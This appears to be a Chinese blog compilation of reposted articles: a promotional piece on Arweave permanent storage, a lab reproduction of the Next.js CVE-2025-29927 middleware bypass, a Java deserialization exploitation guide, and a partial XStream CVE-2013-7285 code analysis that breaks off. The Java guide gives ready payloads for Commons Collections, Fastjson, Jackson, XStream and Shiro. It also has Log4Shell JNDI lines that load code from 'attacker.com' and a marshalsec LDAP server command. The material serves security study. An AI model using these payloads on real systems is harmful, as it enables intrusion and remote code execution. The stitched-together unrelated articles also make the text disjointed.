What is permanent data?(什么是永久数据?)

What is permanent data?(什么是永久数据?)

本文转自 ardrive 并作补充

image

在ArDrive,我们经常提到“永久数据”这个词。然而,人们常常对“永久数据”的概念感到困惑。我们都习惯了生活中的事物,包括我们的数据,并非永久存在。那些学校作业、照片和商业记录都到哪里去了?那么,永久数据是否意味着我们的数据永远不会消失?永久数据究竟意味着什么? 数据永久性指的是存储在区块链上的信息(称为链上数据)将保持原样,不会发生任何变化,并会持续进行验证和复制。 这并不一定指数据保存的时间长度,而仅仅是指所存储数据的性质:不变、可复制且经过验证。数据只有在其所在的网络安全的情况下才能保存。也就是说,永久数据所在的网络被设计得极其强大,因此数据能够长期保持不变且安全无虞。让我们深入了解一下永久数据的构成要素,以及人们究竟可以对这些数据抱有多大的信心,相信它们甚至能够超越自身的存在时间。

在区块链数据中,“永久性”意味着什么?

“永久性”这个词听起来可能很复杂,但实际上它的概念很简单,尤其是在区块链技术的语境下。让我们来详细解释一下,以便更好地理解。首先,永久性意味着:不可篡改:不会改变;持续验证;多次复制。这是区块链技术的一个关键特性,它就像一个数字账本或记录系统。想象一下,区块链是由一系列区块组成的链条,每个区块就像一个装有信息的数字盒子。一旦这个盒子被数据填满并添加到链条中,它就无法被更改或删除。这就像用笔在笔记本上写字,然后就无法擦掉一样。这就引出了区块链中数据永久性的概念。数据永久性意味着存储在区块链上的信息(称为链上数据)将长期保持不变,不会发生任何变化。这就像将信息存储在一个超级安全的数字保险库中,使其永远安全无虞。为什么这很重要呢?在当今这个我们大量依赖网络的世界里,拥有一个可以永久且安全地存储信息的地方至关重要。这对于财务记录、法律文件,甚至是个人信息等尤其重要。你可以把它想象成一种确保数据不受干扰且始终可用的方式,就像一个数字信息的时间胶囊。总而言之,在区块链的语境下,“永久性”意味着数据被永久记录在链上并保持这种状态。 永久数据:链上存储、不可篡改、已验证、可复制,也就是永远无法删除。我们已经找到了实现数据永久存储的方法,但如何确保数据能够长期保存呢?

image

永久数据对数据的长期保存意味着什么?

数据的保存期限至关重要——我们不想要只能维持几个月甚至几年的存储系统。我们已经有太多这样的系统了。

那么,长期保存永久数据的最佳方法是什么?

数据的保存期限取决于其所处系统和硬件的性能。以下是我们迄今为止使用过的一些系统和硬件:卷轴、纸张、书籍、图书馆;CD、磁带、DVD、录像机、蓝光光盘;U盘、内存、硬盘;云存储、企业、订阅支付。所有这些方式在数据传承过程中都经历过成功、痛点和失败。任何档案管理员都知道,长期数据存储和保存是一个难以克服的难题。

那么,永久数据能否成为长期数据存储解决方案的一部分?

我们认为可以。原因如下。ArDrive 所基于的 Arweave 区块链上的永久数据 是一个去中心化网络,拥有极具吸引力的激励机制来维持其运行。换句话说,成千上万的人存储着这些数据,并且他们会因此获得持续的经济奖励。正如预期的那样,Arweave 的技术和经济模型非常完善且详细,您可以在“数据真的可以永久存储吗?”这篇文章中阅读完整的解释,但现在我们先来看一个简要版本。

经济模型

Arweave 的经济模式可以概括为“先支付一部分,为未来储备更多”。每次购买存储空间,其中一小部分(16.67%)用于支付当前的存储费用。那么未来几年呢?剩余的 83.33% 将存入一笔捐赠基金,作为应对未来成本的应急资金。那么,这笔捐赠基金何时会动用呢?近期内不会。事实上,根据经济模型计算,目前的捐赠基金规模足以支付数据持有者未来数百年的费用,从而确保他们能够覆盖成本并实现盈利。随着越来越多的数据被添加到 Arweave 网络中,捐赠基金的规模也会不断增长。如果存储价格上涨,这笔捐赠基金将为数据提供安全保障。然而,随着存储价格的下降(这种情况几乎总是如此),这笔捐赠基金可能永远都不会被用到。

image

你怎么知道它在200年后是否还会存在?

Arweave 网络承诺数据存储可保存 200 年。显然,没有人知道 200 年后世界会是什么样子——那么,如何才能做出这样的承诺呢?我们无法穿越到未来去查看情况。但是,我们可以模拟不同的场景(很多很多不同的场景),并创建能够应对这些场景的系统。已经创建的模型和系统让我们有信心数据能够长期保存。让我们将一些现有的系统与 Arweave 进行比较,看看它们的表现如何。其他一些数据存储方法/系统:纸质存储——历史上遗失了多少书籍和卷轴?此外,纸质存储的保存难度更大。U盘——U盘的平均寿命为 3 到 5 年;硬盘的寿命为 5 到 7 年。这些存储设备有多少次出现故障?普通人又能多大程度上监控这些存储设备的状态呢?云存储——云存储因其便捷性而得到了广泛应用。即便如此,数据丢失的案例仍然不胜枚举。仅仅依靠一家公司来存储数据真的值得信赖吗?如果停止支付月费会发生什么?所有这些都表明,我们需要寻找替代方案来帮助实现长期数据存储。

我们能从Arweave网络上的数据保存方式中学到什么?

如果上述所有方法和系统都存在各自的缺陷,那么 Arweave 在长期保存方面的可靠性如何呢?使用 Arweave,可以轻松检查任何数据的保存状态。Arweave

网络上的任何交易都可以根据交易 ID 进行查询。当我们查找交易编号时,可以看到:

  • 实际数据是什么(如果公开的话)以及何时上传到区块链的。
  • 自上传以来,已确认存在的次数
  • 重复次数(该数据集有多少份副本)
  • 什么是永久链接

以下是五年前的一些随机数据样本:

那么,让我们把这笔交易与过去五年和未来五年的其他存储方法在可靠性方面进行比较。

数据存储选项对比表

image

image

因此,将永久数据与您五年前存储在U盘、硬盘或云账户中的数据进行比较,并展望未来五年:五年后,我们对U盘还是Arweave更有信心?您的硬盘还能再用十年吗?我们能否将所有数据都托付给一家云服务公司?如果您停止支付月费会发生什么?这是一种将数据传承给后代的好方法吗?云解决方案是解决方案的一部分,但还需要什么来增强它?正如我们比较了各种存储方案后发现的,链上永久区块链数据应该让我们相信,链上永久数据存储不仅能陪伴我们五年,而且很可能比我们活得更久。这确实有助于解决长期数据保存的问题。

存储解决方案的一部分

随着时间的推移,它将不断证明永久数据作为一种长期数据解决方案的可靠性。这不仅是因为支撑它的网络稳定可靠,更重要的是,它始终如一地保存着承诺的数据,而其他系统则不断暴露出自身的弱点。随着永久数据的应用日益普及,我们热切期盼它能成为长期数据存储解决方案中越来越重要的组成部分。因此,当您试用 ArDrive 并上传您的第一个文件时,正如我们常说的,感受一下永久数据带来的不同。您可以完全放心,您的文件安全可靠,并且在未来很长一段时间内都不会发生变化。

image

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

本文转自 CVE-柠檬i 并作补充

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

CVE-2025-29927 Next.js 中间件权限绕过漏洞复现

漏洞信息

Next.js 是一个基于 React 的流行 Web 应用框架,提供服务器端渲染、静态网站生成和集成路由系统等功能。包含众多功能,是深入研究复杂研究的完美游乐场。在信念、好奇心和韧性的推动下,我们出发去探索它鲜为人知的方面,寻找等待被发现的隐藏宝藏。

当使用中间件进行身份验证和授权时,Next.js 14.2.25 和 15.2.3 之前的版本存在授权绕过漏洞。

该漏洞允许攻击者通过操作 x-middleware-subrequest 请求头来绕过基于中间件的安全控制,从而可能获得对受保护资源和敏感数据的未授权访问。

补丁:

  • 对于 Next.js 15.x,此问题已在 15.2.3 中修复
  • 对于 Next.js 14.x,此问题已在 14.2.25 中修复

漏洞复现

vulhub已有环境:vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

启动环境:

1
docker compose up -d

image

访问虚拟机3000端口,可以看到环境搭建成功:http://your-ip:3000/login

image

访问根路径,显示需要登陆:

image

添加请求头,使用权限绕过payload

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

访问成功,权限绕过漏洞复现成功

image

参考文章

Next.js 和损坏的中间件:授权工件 - zhero_web_security (zhero-web-sec.github.io)

vulhub/next.js/CVE-2025-29927/README.zh-cn.md at master · vulhub/vulhub (github.com)

CVE 2025 29927 Nextjs Auth Bypass - chestnut’s blog (ch35tnut.com)

Next.js中间件授权绕过漏洞终极指南:CVE-2025-29927深度解析与防护策略 - 高效码农 (xugj520.cn)

Comparing v15.2.2…v15.2.3 · vercel/next.js (github.com)

代码审计知识星球 (zsxq.com)

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解

本文转自 Acl0 并作补充

Java反序列化漏洞全解:原理、案例、利用与防护

本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。

1. 什么是Java反序列化漏洞?

Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的ObjectInputStream机制,自动还原序列化数据的对象状态。

反序列化基本流程

反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:

1
2
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码

如果攻击者控制object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。

漏洞核心要素

  1. 可控输入:攻击者能够提供恶意的序列化数据。
  2. 反序列化触发:应用调用readObject()或通过易受攻击的库处理数据。
  3. Gadget链:在反序列化时自动触发恶意代码的类和方法链。

2. 利用原理

Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()readResolve()finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。

主要攻击方式

  • 命令执行:通过Gadget链调用Runtime.getRuntime().exec()执行任意命令。
  • 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
  • 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。

image

3. 常见Java反序列化漏洞与利用

以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。

工具准备:ysoserial

ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。

安装步骤

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

编译后生成ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。

3.1 Apache Commons Collections(CC)

漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理:通过InvokerTransformerChainedTransformer,结合LazyMapTiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()

生成Payload(使用ysoserial):

1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  • Windows下使用calc打开计算器,Linux可替换为gnome-calculatorxcalc

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}

攻击示例

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  2. 通过网络接口(文件上传或Socket)将payload.ser发送到服务端。
  3. 服务端反序列化Payload,执行calc.exe

可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。

3.2 Fastjson(版本<1.2.47)

漏洞描述:Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload(JSON):

1
2
3
4
5
6
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

创建恶意类

  1. 编写Exploit.java
1
2
3
4
5
6
7
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
  1. 编译并编码:
1
2
javac Exploit.java
base64 Exploit.class > exploit.b64
  1. 将base64内容插入JSON的bytecodes字段。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}

攻击示例

  1. 将恶意JSON发送到服务端接口(例如通过HTTP POST)。
  2. Fastjson反序列化Payload,执行calc命令。

受影响版本

  • Fastjson ≤ 1.2.24:默认启用autotype。
  • Fastjson ≤ 1.2.47:存在绕过方式(如使用B@替代@type)。

3.3 Jackson(启用Default Typing)

漏洞描述:Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

利用Payload(JSON):

1
2
3
4
5
6
{
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}

攻击示例

  1. 使用与Fastjson相同的Exploit.java和base64编码。
  2. 将JSON Payload发送到服务端接口。
  3. 服务端反序列化Payload,执行恶意代码。

3.4 XStream(版本<1.4.15)

漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload(XML):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
import com.thoughtworks.xstream.XStream;

public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}

攻击示例

  1. 生成base64编码的恶意类(参考Fastjson部分)。
  2. 将base64字符串嵌入XML Payload。
  3. 将XML发送到服务端,触发代码执行。

3.5 Apache Shiro RememberMe

漏洞描述:Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤

  1. 使用ysoserial生成Payload:
1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  1. 使用已知AES密钥加密Payload:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
  1. 构造请求:
1
2
3
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload

攻击示例

  1. 使用ysoserial生成CommonsCollections Payload。
  2. 使用默认或爆破的AES密钥加密。
  3. 设置rememberMeCookie并发送请求,触发反序列化。

3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)

突然想到这个,也写一下~

漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。

image

利用Payload

1
${jndi:ldap://attacker.com/Exploit}

攻击准备

  1. 使用marshalsec启动LDAP服务:
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
  1. http://attacker.com/Exploit托管恶意类(Exploit.class)。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}

攻击示例

  1. 将Payload注入可记录的字段(例如HTTPUser-Agent头):
1
2
3
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
  1. 服务端记录日志时触发JNDI查询,执行远程类。

4. 其他漏洞与利用

4.1 Spring Framework(Spring4Shell,CVE-2022-22965)

漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。

利用Payload

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious

防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。

4.2 Java RMI反序列化

漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。

利用示例

  1. 使用ysoserial生成RMI Payload:
1
java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
  1. 将Payload发送到RMI服务端,触发远程类加载。

防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。

5. 检测与测试工具

以下工具可用于检测和测试反序列化漏洞:

  • Ysoserial:生成多种Gadget链Payload。GitHub
  • Ysomap:统一的反序列化利用工具。GitHub
  • Shiro_attack:测试Shiro RememberMe漏洞。GitHub
  • Log4jscan:扫描Log4Shell漏洞。GitHub
  • Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub

6. 防护与加固

通用实践

  1. 避免反序列化不可信数据:禁止处理来自不可信源的数据。
  2. 使用类白名单:限制反序列化仅允许指定的类。
  3. 升级依赖:使用最新版本的库和框架。
  4. 应用安全补丁:定期更新JDK和依赖项。

具体防护措施

库/组件 防护措施
Commons Collections 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类。
Fastjson 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单。
Jackson 禁用enableDefaultTyping();为ObjectMapper配置类白名单。
XStream 使用xstream.allowTypes()限制可反序列化的类。
Apache Shiro 更换默认AES密钥;禁用rememberMe或使用签名机制。
Log4j2 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI。
Spring Framework 升级到≥5.3.18;限制数据绑定参数。
Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。

示例:使用ObjectInputFilter实现安全反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}

7. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。

核心要点

  • 在反序列化前验证和过滤所有输入数据。
  • 使用类白名单,避免使用危险方法如readObject()
  • 保持依赖项和JDK的更新。
  • 使用ysoserial和Ysomap等工具测试应用漏洞。

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

【组件攻击链】XStream组件高危漏洞分析与利用

【组件攻击链】XStream组件高危漏洞分析与利用

本文转自 深信服千里目安全技术中心 并作补充

组件介绍

XStream是Java类库,用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索,并不需要对对象作出修改。XStream可以序列化内部字段,包括私private和final字段,并且支持非公开类以及内部类。在缺省情况下,XStream不需要配置映射关系,对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时,XStream支持指定别名。XStream支持以方法调用的方式,或是Java标注的方式指定别名。XStream在进行数据类型转换时,使用系统缺省的类型转换器。同时,也支持用户自定义的类型转换器。XStream类图:

image

高危漏洞介绍

image

XStream组件漏洞主要是java反序列化造成的远程代码执行漏洞,目前官方通过黑名单的方式对java反序列化攻击进行防御,由于黑名单防御机制存在被绕过的风险,因此以后可能会再次出现类似上述java反序列化漏洞。

漏洞利用链

1 组件风险梳理

根据XStream组件的漏洞,结合XStream常用的使用场景,得到如下风险梳理的场景图。

image

2 利用链总结

基于风险梳理思维导图,总结出一种漏洞的利用场景。

无权限 -> GetShell

image

高可利用漏洞分析

从高危漏洞列表中,针对部分近年高可利用漏洞进行漏洞深入分析。

技术背景

java动态代理

Java标准库提供了一种 动态代理(Dynamic Proxy)的机制:可以在运行期动态创建某个interface的实例。

例子:我们先定义了接口Hello,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package test3_proxyclass;



import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.lang.reflect.Proxy;



public class Main {

public static void main(String[] args) {

InvocationHandler handler = new InvocationHandler() {

@Override

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println(method);

if (method.getName().equals("morning")) {

System.out.println("Good morning, " + args[0]);

}

return null;

}

};

Hello hello = (Hello) Proxy.newProxyInstance(

Hello.class.getClassLoader(), // 传入ClassLoader

new Class[] { Hello.class }, // 传入要实现的接口

handler); // 传入处理调用方法的InvocationHandler

hello.morning("Bob");

}

}



interface Hello {

void morning(String name);

}

java动态代理机制中有两个重要的类和接口InvocationHandler(接口)和Proxy(类),这一个类Proxy和接口InvocationHandler是我们实现动态代理的核心;

**InvocationHandler接口:**proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。

**newProxyInstance:**创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:

1
2
3
4
5
loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载

interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。

h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。

getInvocationHandler: 返回指定代理实例的调用处理程序

getProxyClass: 给定类加载器和接口数组的代理类的java.lang.Class对象。

isProxyClass: 当且仅当使用getProxyClass方法或newProxyInstance方法将指定的类动态生成为代理类时,才返回true。

newProxyInstance: 返回指定接口的代理类的实例,该接口将方法调用分派给指定的调用处理程序。

1 XStream 远程代码执行漏洞

1.1 漏洞信息

1.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2013-7285

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.5 , CVSS v3.0:9.8

● 漏洞危害等级:高危

1.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

1.1.3 漏洞利用条件

1.1.4 漏洞影响

影响版本:XStream <= 1.4.6

1.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

1.2 漏洞复现

1.2.1 环境拓扑

image

1.2.2 应用协议

8080/HTTP

1.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

1.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

1.3 漏洞分析

1.3.1 代码分析

传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

找到sorted-set别名对应的java.util.SortedSet类,并将类存入realClassCache对象中。

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用defaultImplementationOf方法,在mapper对象中寻找java.util.SortedSet接口类的实现类java.util.TreeSet。

image

获取java.util.TreeSet类型,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器TreeSetConverter父类CollectionConverter中canConvert方法判断,传入的type与java.util.TreeMap相同,返回true,表示可以使用TreeSetConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

进入convert方法中,调用转换器中的unmarshal方法,对传入的xml数据继续解组。

image

首先调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

image

根据unmarshalledComparator对象状态,为possibleResult对象赋予TreeSet类型对象。

image

由于possibleResult是一个空的TreeMap,因此最终treeMap也是一个空对象,从而调用treeMapConverter.populateTreeMap方法。

image

进入populateTreeMap方法中,首先调用调用putCurrentEntryIntoMap方法解析第一个标签,再调用populateMap方法处理之后的标签(此流程中二级标签只存在一个,因此在处理二级标签时暂不进入populateMap方法)。

image

具体调用流程如下,com.thoughtworks.xstream.converters.collections.TreeSetConverter类中调用putCurrentEntryIntoMap方法 -> com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem() 中的 readClassType()方法获取传入xml数据中标签名(别名)对应的类(与本节中获取sorted-set对应类的流程相同)。本次获取的是dynamic-proxy对应的java.lang.reflect.Proxy.DynamicProxyMapper类型,并将别名与类型作为键值对,存入realClassCache中。

image

image

回到AbstractCollectionConverter.readItem()方法中,调用convertAnother方法,寻找DynamicProxyMapper对应的convert,获取到DynamicProxyConverter转换器。

image

得到com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,按照之前获取转换器之后的流程,调用转换器中的unmarshal()方法获取interface元素,得到java.lang.Comparable,并添加到mapper中。

image

在通过循环查询,继续查找下面的节点元素,进而获得了handler java.beans.EventHandler。

image

调用Proxy.newProxyInstance方法创建动态代理,实现java.lang.Comparable接口。

image

调用convertAnother方法获取传入type的转换器,java.beans.EventHandler对应的convert是ReflectionConverter。并将父类及其对象写进HashMap中

image

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素target java.lang.ProcessBuilder。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取target标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,由于是java.beans.EventHandler作为动态代理的实现类,所以选择的转化器都是ReflectionConverter 。使用选中的转换器进行解组。

image

使用ReflectionConverter convert处理java.lang.ProcessBuilder ,在duUnmarshal()方法获取command标签和comand标签下的String标签及其参数。(其中String标签下的参数是在下一层convert调用中获取的。)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

image

在按照获取target标签相同的流程获取action标签,最终将start方法存入对象中。

image

回到TreeMapConverter#populateTreeMap方法中,上述过程中构造的object保存在sortedMap中。且其中的动态代理实现的接口是java.lang.Comparable,因此只要调用java.lang.Comparable接口中的compareTo方法,即可触发动态代理,进入java.beans.EventHandler实现类中的invoke方法。在populateTreeMap方法中调用putAll方法,将sortedMap中的对象写入result变量的过程中会调用到compareTo,调用链如下。

image

进入java.beans.EventHandler#invoke方法中,通过反射执行对象中的方法。

image

1.3.2 补丁分析

XStream1.4.7版本中,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类。从而防御了此漏洞。

image

2 XStream 远程代码执行漏洞

2.1 漏洞信息

2.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2019-10173

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.3 , CVSS v3.0:9.8

● 漏洞危害等级:高危

2.1.2 漏洞概述

